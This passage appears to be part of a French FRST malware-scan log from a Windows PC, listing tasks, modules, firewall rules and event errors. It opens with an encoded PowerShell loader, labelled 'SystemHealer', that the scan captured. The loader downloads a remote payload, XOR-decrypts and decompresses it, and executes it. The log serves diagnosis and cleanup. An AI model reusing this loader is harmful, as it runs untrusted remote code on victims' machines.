1ADYAYwB1ADcAbABSAFEAOAA4ADcAYQBWAG8AUQBuAGUAdgBaADgARwB5AE0ASQBjAHUAcQBNAFcAagBiAHYASABCAC0AaQBqAEcAagBLAE8AbgAyAGQAMwBRAEsAMABnAFcAcAB4AGoAeABTAGYAYwBuAHMAXwBmADAAWABzAFAALQBjAEIAVQBpAEIAbQBqAHgAUgB2AFoATwA2ADEAeABVADAAagBxAEkAOQB3AEYAYQBCAGYAcwBHAEcAbQByAGEAeABjADAARAA5AEMAdgBYAEoAWgA5AGcAQQBhAFcATgBPAHAASwBsAGEAWgByAFQAMAA1AGoANABMAEMAYwBVAEcAWQBFADkAQQB4AEkAYgB6AGYAcgBHADIAegAyAC0AawBrAHAAWQBZAFIAMQA3AE0AWAAtAGkAQwBrADYATgBJAGIAdQA0AE0AdwBXAE4AcAB4AE8AVAA3AG8ATgBXAFMAegBOAGoAOQBUAEkAegB4AGMANABiAGkAYwA2AFUAQwBfAEsAQgAwAEIARAAtAFgAWgBNAHAANQBpAFMAMAA2AEcAWgA0AGcARQBuAFIAZAA1AGUAWABtADEARwBpAGsAZwBlADcAbwBwAGQAMwBXAEIASAAyADgAVAB5AEYASQBWAHMAZQBRADUAQgBjAC0AWgBHAFUAOAB0ADkAegBnAGkATgBEADkAVgAwAEkATwBFAFYAcAB1ADUAawBvAEEAWgBCAEQAaQBxAEQANwBSAEwAcQB3AFQAZwBVAHoAZAAtAEoANwBzAHEAcgBmAFgAYgB3AF8AbQBBAEkAVABhAEIAaQBqAEEASgBKAHIARwB5AF8AYwBxAFQAawA4ADEAdgBEADMAZABHAEQANgBMAGkAZABxAGwAZABjAFMAWQAzAHQAQgBVAHIAQQBvADEAdQBTAGgAUABSAGsAUQAtAFgASABSAGYANABCAEQATABkADkAYgBhAEQAUgBwAFQAdABiADUAdABNAGwAVAB2AFMAdgBpAFYASgAtADgAUABkAFYARwA4AHgAdgA2AFMAVAAwADYAawAzADgANQA2AEoARwBWAFQARQB3ADYAOQBHAF8AQwBTADIANAB1AGkANQA1AGkATABVAEMAYgAwAHAAbgBqAHIANwBaAHQAZQAtAHAAcABrAGQAdABsAGcAMwBSADcAZwBxAG4AXwB1AHYANgBiAE8AUgA5ADMANwBSAGcAUwBLAEwAWgA3AGIAbgBmAEMARAA0AEoASwBoADEAeABtAEUAOABqAEcAUgBKAC0AZwBQAGUAZwB5AE8ARwBOAEQAeAA0AFYAeABlAGgAUQBPAHMAeABmAHAAeAB2ADkATQBpAEEAegBqAEMAegB3AHUAMwBlAFkAdgBKAFIAdAA2AEwAQgBwAG0AaQBOAEoAbABsAE4ASgBwADYAQgBkAHEAegB6AG8AOAAzAFAAdAA3AEsATABMAEUAegBwAEYAVgA5AFgAYgBiAGgAegBlAFoAZQBFAE0ANwBPADUAagA1AEcAXwBZAGgAWQBNAHcAagBUAGEARAAwAGYASwB6ADkAUgByAHAAcQBFAHoARwBxAHAATAA0AEYAegBmAG4AagBXAFkAMwBpADYAbABVAFMAagBqAEwATAA3AEwARgBlAEgAbQAxAEIAbQBSAGQAYQBBAC0AbQBBAFQAaABjAFAAWABPADAAdQBVAEIATgBtAEMAZABxAEwALQB1AGIAagA1AG4AVwBBAEYAUABGAGsANQB6AEcAagA3AEkAegBtADEAMgBtAEEAaQBNADgAWABsADAAVwBUADAAMQBDAG4AdABpADIAWgBGAGwAMwBkADkAdQBvAEgAZAAyADYAUQBpAHEAegBxAEYANAAwAEoAZgBXADUAcABoAHcALQA0AFIAawBwAFgANwBYAEMANwAyAHUATwA1AEkAVwA4AE8AVgBkAEcAOAB2ADIARgBJAFIATABZAGcAaQA5AEIAVQBtAGgAcQBDAC0ATgAtAFYAWABPAEsAaQAzAHgAbQBFAFQANwBuADkAOQBfAEoAVgBSAHcAeQBRAFEAZAAtAEsATgAxAHgANwAzAC0AYQBTAGUAVQBKADAAbwBKAFEAXwBPAC0AZQBmAFcANQBHAGIAcABNAE0AaQBiAC0ALQBSADAAZwByADQAOQBaAG0AVQBnAFQALQA4AFAAbAB6AEkAeQBFADgANgBVAHcATABoAEEAQgBDACYAYwA9AGgAVQBwAHIANAB3AHIAdwBaAHoAMgBXAFgANgAtADkAMQBaAEoAUABHAEgAagBrAGsAbwBaAHYAWQBFAFEAUABRAHQAMwBmAHoAOQBSADgAUwBiAGYAcgBnAGQARQBBAHkAdgAwAHoAOQBkAHIAeQBxADgAOQBRAGEAMgBFAGsAaABtAHcAZgBSADMAcwBXAE4ANgAwAGsAZwBIAEcANwB0AGIAVgB4AEkAOABZAGEAeQBLAFgAcAB1AGcAYgBEAGUAOQBLADgAbwBsAGkAMAA0AGYATgAtADUASgB4AE0AMAA4AGgAZwBkADYAcwBvADAAWgA3AG0ANwAwAGQAXwBvAFMAUwBBADQAOAB4AGwAUQBVAGcAOABjAHIAOQBnAGYATgB0ADEAbwBlAHgATAB4AGsAcABRADkAaABqAG0AYgBrAFQAbQBzAC0ANgBHAEgAcgBaAFoAUABWAEcAbABDAFkARgBGAC0AQgAtAGoAdwB2AGEAMgBLAG4AUAA5ADIAWABGADgANgAwAGIAOQBtAEkAUgA1AG4AdgBsAGsAbwB0AHAARgBzAF8AbABDAEwAdgBPADkARQBEAHoANwAtAEgASgBkAHkAawBwAEEAbQBKAGoAQwA0AGwAeQA2AEoAYgBCAGUAdwBtAFkANwByAHEAaABTADcAcwBOADIARQBhAHEAQQBIAG4AdQB2ADMAZABBAHUAegBDAF8AUQBpAHgAQwBQAE0AbQB2AE8AdQBzAGoAMQBOAGcAawAtAGwAUwBZADMAegBDAGUAWABYAG4AMwAzAEIAZgBEADMAegBkAGUAZgBvAHIAcgBpAGUAWABrAC0AdgBjADEAdwBsAEgATwB1AGoAMQBBAGUAbAA2ADcAQwByAFcARQBjAFYALQB1AGoAcABiAGEANABMAHkATwBIAFQAZgAtAHMAMQBoAGEATgBSADQALQBuADMAcgBlAEgAbQBIAFAAbgB1AHYAVAB0ADUAaQBmAHgAWgBjAF8AdAAyAFQAQQBMAE8AcwBNADcAbAByAEkAXwBmAEMALQByAHAAZwB4AFUARwBXAGUAMgBCAG8ATQB4ADgAYwBMADcAMwAxAFMANABmAGQAdQBVAHYAYQBZAEcAUwBFAF8AcQBiAG0AQgBFAE8AMwA1AG0AZwBDADUAYgBEAEcASAAzAEgAeQBoAGEAawBIAFcATQBQAHEAcgA2ADIAYQBaAEwASQA3AGoASwBSAHkAUABzADAATwBPAG8AcgA3AHEAdgBUAGMAbwBwADAAaQBMAGsAYQBFAGUAbQA2AFkAVQBpAG8AdQBhADkAQQBlAC0AcAAyAHMALQBlAGcAVgBOAGYAaABrAHYAcgBBAHAANQBEAFkAQwA2AFkARwBLAE4ASQBuAFYASQB0ADcAMQBsAEgAUwBRAG8AVwBFAGYAdgBqAFYAMwBPADgAVwA5AFkASABoADQAUABmAGwAXwB1AGgATQBoAHAAawBYAC0AXwBHAGoAWgBoAC0AeAB3AHUAdwBZAHUAOQBrAGgAcAAwADkATwBEADMAUgAtAG0AdQBEADQASQBlAGkAMQBYAGwAUABLAFIAVgAzAE8ARwB5AHUAZABPAEwARgA3AGkAMgBtAGkANQBuADUARQB3AFMAZwBUAG0AVQBYAGwARQBYADcANgBtAGMAOQA4ADQARABFAHYAWgBYAFYAbQAyAEIAMwBYAEgAXwBkAHYAUwBUAGgAcgBiAEEALQB1AHAAMABPAEYAXwBZAEkALQBpAC0AdwBSAGsAcAAwAEoANwBRAFkAcgB0AEEAbABoAFoAUgBWAGgAdABwAEIAOQBBAE4AaAB4ADAASgBQAHoAWgBsAEoALQB4AEsAeQBLAHYAWAAzAFcAUQA5AGwASwBqAGIAXwBYAE4AcgBUADgAZgB0AHIARgBMAFEATgAzAGkARgB0AG0AdQBlAEcAVABEAHcAMgB1AEEAZgB6AEwAdAAyAGsAQQBYAEcASQBaAEoAQwBHADYAaQBlAEIAZwA0AEwAZwBpAHIAXwA0AHcANwBtAFUASABOAGYAbABDAHMAUgA5AGcAdgB1AFAAcwBNADAARQAtAEcARwBFAFcAegBVAGsAegBrAFYAZAB2AEYARAB3AEsAcwBoAFoAaABWADgAbwBxADMAVwBzADEAcQBIAE4AUgA0AGgASgB2AFEANABxAFUALQAyADQAdwBTAHkAYgA0AEwATABxAFMAUQByAGwAMABLAGIAVwB6AEMAYgAzAHMANwBTAFMAQgBFADYAZwB0AGcAMABrAGcAYQBCAGMAWQBEAHEANwB1AGEATwBaADIARABoAHoAdQB6AGwAUwA5AFIATwBxAHoAegBVAHYAcwA3AFoAQwBFADMAUwBWAGoASAAxAEwAWgBZAEUAZgBTAGcANAAzAHgAMQBiAEIAJgByAD0AMwA0ADgAOAAxADgANwA5ADQAMAA5ADgANQAxADQANgAxADkAOAAiADsAJABzAHQAcwBrAD0AIgB7ADAARAA3ADkAMABEADQANwAtADcARgAwADQALQAwAEQAMABFAC0ANwBFADEAMQAtADAAOAA3AEEAMABCADAAQQAxADEAMAA5AH0AIgA7ACQAcAByAGkAZAA9ACIAUwB5AHMAdABlAG0ASABlAGEAbABlAHIAIgA7ACQAaQBuAGkAZAA9ACIAWQBSAFkAVABQAFgAVQBQACIAOwB0AHIAeQB7AGkAZgAoACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4ALgBNAGEAagBvAHIAIAAtAGwAdAAgADIAKQB7AGIAcgBlAGEAawA7AH0AJAB2AD0AWwBTAHkAcwB0AGUAbQAuAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBPAFMAVgBlAHIAcwBpAG8AbgAuAFYAZQByAHMAaQBvAG4AOwAKAGkAZgAoACQAdgAuAE0AYQBqAG8AcgAgAC0AZQBxACAANQApAHsAaQBmACgAKAAkAHYALgBNAGkAbgBvAHIAIAAtAGwAdAAgADIAKQAgAC0AQQBOAEQAIAAoACgARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBTAGUAcgB2AGkAYwBlAFAAYQBjAGsATQBhAGoAbwByAFYAZQByAHMAaQBvAG4AIAAtAGwAdAAgADIAKQApAHsAYgByAGUAYQBrADsAfQB9AAoAaQBmACgALQBOAE8AVAAgACgAWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMAUAByAGkAbgBjAGkAcABhAGwAXQBbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBJAGQAZQBuAHQAaQB0AHkAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdAAoACkAKQAuAEkAcwBJAG4AUgBvAGwAZQAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAEIAdQBpAGwAdABJAG4AUgBvAGwAZQBdACAAIgBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByACIAKQApAHsAYgByAGUAYQBrADsAfQAKAGYAdQBuAGMAdABpAG8AbgAgAHcAYwAoACQAdQByAGwAKQB7ACQAcgBxAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAcgBxAC4AVQBzAGUARABlAGYAYQB1AGwAdABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAPQAkAHQAcgB1AGUAOwAkAHIAcQAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAdQBzAGUAcgAtAGEAZwBlAG4AdAAiACwAIgBNAG8AegBpAGwAbABhAC8ANAAuADAAIAAoAGMAbwBtAHAAYQB0AGkAYgBsAGUAOwAgAE0AUwBJAEUAIAA3AC4AMAA7ACAAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAKQAiACkAOwByAGUAdAB1AHIAbgAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAByAHEALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAdQByAGwAKQApADsAfQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAcwB0AHIAKAAkAHIAYQB3AGQAYQB0AGEAKQB7ACQAYgB0AD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAYQB3AGQAYQB0AGEAKQA7ACQAZQB4AHQAPQAkAGIAdABbADAAXQA7ACQAawBlAHkAPQAkAGIAdABbADEAXQAgAC0AYgB4AG8AcgAgADEANwAwADsAZgBvAHIAKAAkAGkAPQAyADsAJABpACAALQBsAHQAIAAkAGIAdAAuAEwAZQBuAGcAdABoADsAJABpACsAKwApAHsAJABiAHQAWwAkAGkAXQA9ACgAJABiAHQAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACgAKAAkAGsAZQB5ACAAKwAgACQAaQApACAALQBiAGEAbgBkACAAMgA1ADUAKQApADsAfQAKAHIAZQB0AHUAcgBuACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEQAZQBmAGwAYQB0AGUAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACQAYgB0ACwAMgAsACgAJABiAHQALgBMAGUAbgBnAHQAaAAtACQAZQB4AHQAKQApACkALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAOwB9AAoAJABzAGMAPQBkAHMAdAByACgAdwBjACgAJABzAHUAcgBsACkAKQA7AEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgAC0AYwBvAG0AbQBhAG4AZAAgACIAJABzAGMAIgA7AH0AYwBhAHQAYwBoAHsAfQA7AGUAeABpAHQAIAAwADsA
Task: {AE435AFC-7A57-4E83-A294-EDC88CA9E708} - System32\Tasks\Hewlett-Packard\HP Support Assistant\HP Support Solutions Framework Updater => C:\Program Files (x86)\Hewlett-Packard\HP Support Solutions\Modules\HPSSFUpdater.exe [2016-01-06] (Hewlett-Packard)
Task: {AEB0CC42-B029-44B2-9B12-AF402C9F460C} - System32\Tasks\ASUS Splendid ColorU => C:\Program Files (x86)\ASUS\Splendid\ColorUService.exe [2013-10-07] (ASUSTeK Computer Inc.)
Task: {B9958A81-A853-4D60-8207-31A14BCC08B5} - System32\Tasks\CCleanerSkipUAC => C:\Program Files\CCleaner\CCleaner.exe [2015-12-08] (Piriform Ltd)
Task: {BEBFBCC3-98A9-4DC6-9137-3E87E6FDC7F6} - System32\Tasks\Adobe Flash Player Updater => C:\WINDOWS\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe [2016-02-09] (Adobe Systems Incorporated)
Task: {CDEE2EB9-793D-4A9D-B324-D4A9FBAA15D9} - System32\Tasks\ASUS P4G => C:\Program Files\ASUS\P4G\BatteryLife.exe [2013-08-29] (ASUS)
Task: {DA1E4871-1F19-46EA-8277-2D46B4D3599E} - System32\Tasks\Microsoft\Office\Office Automatic Updates => C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe [2016-01-17] (Microsoft Corporation)
Task: {DF164707-E77F-4C83-AE7E-287C9D3EAB39} - System32\Tasks\ASUS Live Update2 => C:\Program Files (x86)\ASUS\ASUS Live Update\LiveUpdate.exe [2013-08-28] (ASUSTeK Computer Inc.)
Task: {E79F6663-8098-4FCD-9720-64C470087292} - System32\Tasks\Microsoft\Office\Office Subscription Maintenance => C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonx86\Microsoft Shared\Office16\OLicenseHeartbeat.exe [2016-01-19] (Microsoft Corporation)
Task: {ED790A3D-D7CB-460A-8137-336A3518884E} - System32\Tasks\ASUS Splendid ACMON => C:\Program Files (x86)\ASUS\Splendid\ACMON.exe [2013-10-07] (ASUS)
Task: {F462E0A5-6D70-4016-916C-57A528A32EBA} - System32\Tasks\Microsoft\Office\Office ClickToRun Service Monitor => C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe [2016-01-17] (Microsoft Corporation)
(Si un élément est inclus dans le fichier fixlist.txt, le fichier tâche (.job) sera déplacé. Le fichier exécuté par la tâche ne sera pas déplacé.)
Task: C:\WINDOWS\Tasks\Adobe Flash Player Updater.job => C:\WINDOWS\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe
==================== Raccourcis =============================
(Les éléments sont susceptibles d'être inscrits dans le fichier fixlist.txt afin d'être supprimés ou restaurés.)
==================== Modules chargés (Avec liste blanche) ==============
2016-01-09 16:37 - 2016-01-17 14:46 - 00171712 _____ () C:\Program Files\Common Files\Microsoft Shared\ClickToRun\ApiClient.dll
2015-10-30 08:18 - 2015-10-30 08:18 - 00185856 _____ () C:\WINDOWS\SYSTEM32\ism32k.dll
2014-03-16 13:54 - 2015-08-07 18:18 - 00116528 _____ () C:\Program Files\NVIDIA Corporation\Display\NvSmartMax64.dll
2015-12-27 23:07 - 2015-11-22 11:47 - 02653816 _____ () C:\WINDOWS\system32\CoreUIComponents.dll
2013-08-29 17:01 - 2013-08-29 17:01 - 00031360 _____ () C:\Program Files\ASUS\P4G\DevMng.dll
2015-08-14 14:28 - 2015-08-14 14:28 - 00405432 _____ () C:\WINDOWS\system32\igfxTray.exe
2015-12-27 23:07 - 2015-11-22 11:47 - 02653816 _____ () C:\WINDOWS\System32\CoreUIComponents.dll
2015-12-27 23:03 - 2015-12-07 05:14 - 00093696 _____ () C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\Windows.UI.Shell.SharedUtilities.dll
2015-12-27 23:03 - 2015-12-07 05:00 - 00472064 _____ () C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\QuickActions.dll
2016-01-13 21:09 - 2016-01-05 02:29 - 07992832 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\CortanaApi.dll
2016-01-13 21:09 - 2016-01-05 02:23 - 00591360 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.Core.dll
2016-01-27 20:39 - 2016-01-16 06:10 - 02483200 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.BackgroundTask.dll
2016-01-27 20:39 - 2016-01-16 06:13 - 04089856 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\RemindersUI.dll
2015-12-08 20:25 - 2015-12-08 20:25 - 00065536 _____ () C:\Program Files\CCleaner\lang\lang-1036.dll
2016-01-22 22:10 - 2016-01-22 22:12 - 00144384 _____ () C:\Program Files\WindowsApps\Microsoft.Messaging_2.13.20000.0_x86__8wekyb3d8bbwe\SkypeHost.exe
2014-03-16 13:50 - 2013-10-23 14:44 - 01242584 _____ () C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\ACE.dll
2013-09-09 19:23 - 2013-09-09 19:23 - 00162816 _____ () C:\Program Files (x86)\ASUS\Splendid\CCTAdjust.dll
2013-10-08 21:41 - 2013-10-08 21:41 - 00037968 _____ () C:\Program Files (x86)\ASUS\Splendid\DetectDisplayDC.dll
2016-01-11 10:36 - 2016-01-11 10:36 - 00932032 ____R () C:\Program Files (x86)\Skype\Phone\ssScreenVVS2.dll
2016-01-22 22:10 - 2016-01-22 22:12 - 00141312 _____ () C:\Program Files\WindowsApps\Microsoft.Messaging_2.13.20000.0_x86__8wekyb3d8bbwe\SkypeBackgroundTasks.dll
2016-01-22 22:10 - 2016-01-22 22:12 - 22330368 _____ () C:\Program Files\WindowsApps\Microsoft.Messaging_2.13.20000.0_x86__8wekyb3d8bbwe\SkyWrap.dll
==================== Alternate Data Streams (Avec liste blanche) =========
(Si un élément est inclus dans le fichier fixlist.txt, seul le flux de données additionnel (ADS - Alternate Data Stream) sera supprimé.)
==================== Mode sans échec (Avec liste blanche) ===================
(Si un élément est inclus dans le fichier fixlist.txt, il sera supprimé du Registre. Le "AlternateShell" sera restauré.)
==================== EXE Association (Avec liste blanche) ===============
(Si un élément est inclus dans le fichier fixlist.txt, l'élément de Registre sera restauré à la valeur par défaut ou supprimé.)
==================== Internet Explorer sites de confiance/sensibles ===============
(Si un élément est inclus dans le fichier fixlist.txt, il sera supprimé du Registre.)
==================== Hosts contenu: ===============================
(Si nécessaire, la commande Hosts: peut être incluse dans le fichier fixlist.txt afin de réinitialiser le fichier hosts.)
2013-08-22 14:25 - 2013-08-22 14:25 - 00000824 ____A C:\WINDOWS\system32\Drivers\etc\hosts
==================== Autres zones ============================
(Actuellement, il n'y a pas de correction automatique pour cette section.)
HKU\S-1-5-21-3931589535-4086523293-663826503-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\gautier\AppData\Local\Microsoft\Windows\Themes\RoamedThemeFiles\DesktopBackground\new-york-central-park.jpg
DNS Servers: 192.168.1.1
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
Le Pare-feu est activé.
==================== MSCONFIG/TASK MANAGER éléments désactivés ==
(Actuellement, il n'y a pas de correction automatique pour cette section.)
==================== RèglesPare-feu (Avec liste blanche) ===============
(Si un élément est inclus dans le fichier fixlist.txt, il sera supprimé du Registre. Le fichier ne sera pas déplacé, sauf s'il est inscrit séparément.)
FirewallRules: [vm-monitoring-nb-session] => (Allow) LPort=139
FirewallRules: [{BCA4DED9-A75E-424A-9C30-E91AB306037D}] => (Allow) C:\Program Files (x86)\CyberLink\PowerDVD10\PowerDVD10.EXE
FirewallRules: [{27EEDA30-E1B1-431A-899D-D7F5B381138F}] => (Allow) C:\Program Files (x86)\Skype\Phone\Skype.exe
FirewallRules: [{D9DED0FE-138D-44AB-A158-FF56E55F8F93}] => (Allow) C:\Program Files (x86)\Microsoft Office\root\Office16\outlook.exe
FirewallRules: [{D2B58D6E-ECC5-4CA6-B4BA-678919671FD6}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
FirewallRules: [{F43489A5-8552-4E7D-8512-B36C7EAF1603}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
FirewallRules: [TCP Query User{609DD860-34ED-459A-B4E3-E7D047122A05}C:\program files (x86)\mozilla firefox\firefox.exe] => (Allow) C:\program files (x86)\mozilla firefox\firefox.exe
FirewallRules: [UDP Query User{A9D07989-081B-4BFD-9258-B0437EAD736E}C:\program files (x86)\mozilla firefox\firefox.exe] => (Allow) C:\program files (x86)\mozilla firefox\firefox.exe
==================== Points de restauration =========================
27-01-2016 20:41:58 Windows Update
05-02-2016 18:28:34 Point de contrôle planifié
==================== Éléments en erreur du Gestionnaire de périphériques =============
==================== Erreurs du Journal des événements: =========================
Erreurs Application:
==================
Error: (02/09/2016 07:03:46 PM) (Source: Office 2016 Licensing Service) (EventID: 0) (User: )
Description: Subscription licensing service failed: -1073418220
Error: (02/09/2016 11:24:57 AM) (Source: Application Error) (EventID: 1000) (User: )
Description: Nom de l’application défaillante SkypeHost.exe, version : 10.1.2123.10, horodatage : 0x569054dc
Nom du module défaillant : SkyWrap.dll, version : 10.1.2123.10, horodatage : 0x569054c9
Code d’exception : 0xc0000005
Décalage d’erreur : 0x00ac6197
ID du processus défaillant : 0x1bf8
Heure de début de l’application défaillante : 0xSkypeHost.exe0
Chemin d’accès de l’application défaillante : SkypeHost.exe1
Chemin d’accès du module défaillant: SkypeHost.exe2
ID de rapport : SkypeHost.exe3
Nom complet du package défaillant : SkypeHost.exe4
ID de l’application relative au package défaillant : SkypeHost.exe5
Error: (02/08/2016 07:16:31 PM) (Source: Office 2016 Licensing Service) (EventID: 0) (User: )
Description: Subscription licensing service failed: -1073418220
Error: (02/07/2016 05:10:36 PM) (Source: Office 2016 Licensing Service) (EventID: 0) (User: )
Description: Subscription licensing service failed: -1073418220
Error: (02/07/2016 01:35:46 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Nom de l’application défaillante taskhostw.exe, version : 10.0.10586.0, horodatage : 0x5632d756
Nom du module défaillant : ntdll.dll, version : 10.0.10586.20, horodatage : 0x56540c3b
Code d’exception : 0xc0000005
Décalage d’erreur : 0x0000000000022ef7
ID du processus défaillant : 0x2648
Heure de début de l’application défaillante : 0xtaskhostw.exe0
Chemin d’accès de l’application défaillante : taskhostw.exe1
Chemin d’accès du module défaillant: taskhostw.exe2
ID de rapport : taskhostw.exe3
Nom complet du package défaillant : taskhostw.exe4
ID de l’application relative au package défaillant : taskhostw.exe5
Error: (02/06/2016 11:16:54 PM) (Source: Office 2016 Licensing Service) (EventID: 0) (User: )
Description: Subscription licensing service failed: -1073418220
Error: (02/06/2016 04:36:45 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: PC-GAUTIER)
Description: Échec de l’activation de l’application Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App avec l’erreur : -2144927142 Pour plus d’informations, voir le journal Microsoft-Windows-TWinUI/Opérationnel.
Error: (02/06/2016 04:34:44 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 2484) (User: PC-GAUTIER)
Description: Le package Microsoft.Windows.ShellExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy+App a été interrompu, car sa suspension a été trop longue.
Error: (02/05/2016 06:28:41 PM) (Source: Microsoft-Windows-CAPI2) (EventID: 513) (User: )
Description: Les services de chiffrement ont échoué lors du traitement de l’appel OnIdentity() dans l’objet System Writer.
Details:
AddLegacyDriverFiles: Unable to back up image of binary Protocole LLDP (Link Layer Discovery Protocol) Microsoft.
System Error:
Accès refusé.
.
Error: (02/05/2016 05:10:35 PM) (Source: Office 2016 Licensing Service) (EventID: 0) (User: )
Description: Subscription licensing service failed: -1073418220
Erreurs système:
=============
Error: (02/09/2016 09:54:08 PM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: Le service Accès aux données utilisateur_4c746 s’est terminé de manière inattendue. Ceci s’est produit 1 fois. L’action corrective suivante va être effectuée dans 10000 millisecondes : Redémarrer le service.
Error: (02/09/2016 09:54:08 PM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: Le service Stockage des données utilisateur_4c746 s’est terminé de manière inattendue. Ceci s’est produit 1 fois. L’action corrective suivante va être effectuée dans 10000 millisecondes : Redémarrer le service.
Error: (02/09/2016 09:54:08 PM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: Le service Données de contacts_4c746 s’est terminé de manière inattendue. Ceci s’est produit 1 fois. L’action corrective suivante va être effectuée dans 10000 millisecondes : Redémarrer le service.
Error: (02/09/2016 09:54:08 PM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: Le service Hôte de synchronisation_4c746 s’est terminé de manière inattendue. Ceci s’est produit 1 fois. L’action corrective suivante va être effectuée dans 10000 millisecondes : Redémarrer le service.
Error: (02/09/2016 09:54:08 PM) (Source: DCOM) (EventID: 10016) (User: AUTORITE NT)
Description: propres à l’applicationLocalActivation{D63B10C5-BB46-4990-A94F-E40B9D520160}{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}AUTORITE NTSystèmeS-1-5-18LocalHost (avec LRPC)Non disponibleNon disponible
Error: (02/09/2016 08:25:04 PM) (Source: Service Control Manager) (EventID: 7009) (User: )
Description: Le dépassement de délai (30000 millisecondes) a été atteint lors de l’attente de la connexion du service Avira.ServiceHost.
Error: (02/09/2016 08:24:17 PM) (Source: EventLog) (EventID: 6008) (User: )
Description: L’arrêt système précédant à 19:34:11 le 09/02/2016 n’était pas prévu.
Error: (02/09/2016 12:14:09 PM) (Source: DCOM) (EventID: 10016) (User: AUTORITE NT)
Description: propres à l’applicationLocalActivation{D63B10C5-BB46-4990-A94F-E40B9D520160}{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}AUTORITE NTSystèmeS-1-5-18LocalHost (avec LRPC)Non disponibleNon disponible
Error: (02/09/2016 10:56:14 AM) (Source: Service Control Manager) (EventID: 7000) (User: )
Description: Le service Cache de police de Windows Presentation Foundation 3.0.0.0 n’a pas pu démarrer en raison de l’erreur :
%%1053
Error: (02/09/2016 10:56:14 AM) (Source: Service Control Manager) (EventID: 7009) (User: )
Description: Le dépassement de délai (30000 millisecondes) a été atteint lors de l’attente de la connexion du service FontCache3.0.0.0.
CodeIntegrity:
===================================
Date: 2016-01-29 20:58:08.161
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume4\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
Date: 2016-01-28 05:06:13.639
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume4\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
Date: 2016-01-22 22:20:54.763
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume4\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
Date: 2016-01-17 23:40:19.282
